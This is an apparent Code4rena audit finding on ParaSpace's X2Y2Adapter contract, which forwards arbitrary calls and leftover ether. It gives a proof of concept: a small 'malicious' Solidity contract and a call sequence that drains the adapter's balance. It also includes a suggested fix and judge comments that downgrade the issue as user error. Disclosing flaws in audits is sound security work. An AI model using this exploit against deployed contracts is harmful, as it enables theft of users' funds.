marketplaces adapter contracts funds can be stolen

[code423n4]

Lines of code

https://github.com/para-space/paraspace-core/blob/main/contracts/misc/marketplaces/X2Y2Adapter.sol#L88-L100

Vulnerability details

description :

the contract X2Y2Adapter and other adapters forwards arbitrary calls and arbitrary msg.value to arbitrary contracts

Impact

attacker can steal the funds of https://github.com/para-space/paraspace-core/blob/main/contracts/misc/marketplaces/* contracts

Proof of Concept

Funds theft
REMIX IDE

// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.10;

import "https://github.com/para-space/paraspace-core/blob/main/contracts/misc/marketplaces/X2Y2Adapter.sol";

in other file deploy this :

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract simple is ERC20("test","test") {
   fallback() external payable {}
}

Deploy them both,
with user1 run the "matchAskWithTakerBid" function :
matchAskWithTakerBid(ERC20address,000000000000000000000000881d40237659c251811cec9c364ef91dc08d300c0000000000000000000000000000000000000000000000000000000000000000,1)
with 2 ehters call, the call will be made
the contract will send 1 ether to the example and the other one will remains in X2Y2Adapter contract

As attacker,
create this contract :

pragma solidity 0.8.0;

contract malicious {
  function s() payable public {
   selfdestruct(msg.sender);
  }
  fallback() external payable {

  }
}

On the X2Y2Adapter contract call the "matchAskWithTakerBid" function :

matchAskWithTakerBid(malicious,0x00,1), run it with 0 as msg.value, this will run the Address. functionCallWithValue which eventually forwards the call to the given address
The malicious contract will receive that 1 ether (or whatever balance of the adapter contract)

Tools Used

Manual testing

Recommended Mitigation Steps

make the marketplace contract set by the team, and make the value is the same as the msg.value so there won't be any ethers left on the adapter contract :

address public marketplace;
function setMarketplace(address _market) external {
   require(admin == msg.sender,"!auth");
   marketplace = _market;

...

    function matchAskWithTakerBid(
       /* address marketplace,  >> remove that line */
        bytes calldata params,
        uint256 value
    ) ...
    
     require(value == msg.value,"wrong value");
    ..
   
       

[c4-judge]

dmvt marked the issue as primary issue

[c4-judge]

dmvt marked the issue as duplicate of #34

[c4-judge]

dmvt changed the severity to 2 (Med Risk)

[c4-judge]

dmvt marked the issue as unsatisfactory:
Overinflated severity

[dmvt]

This is a real stretch and not an attack so much as user error.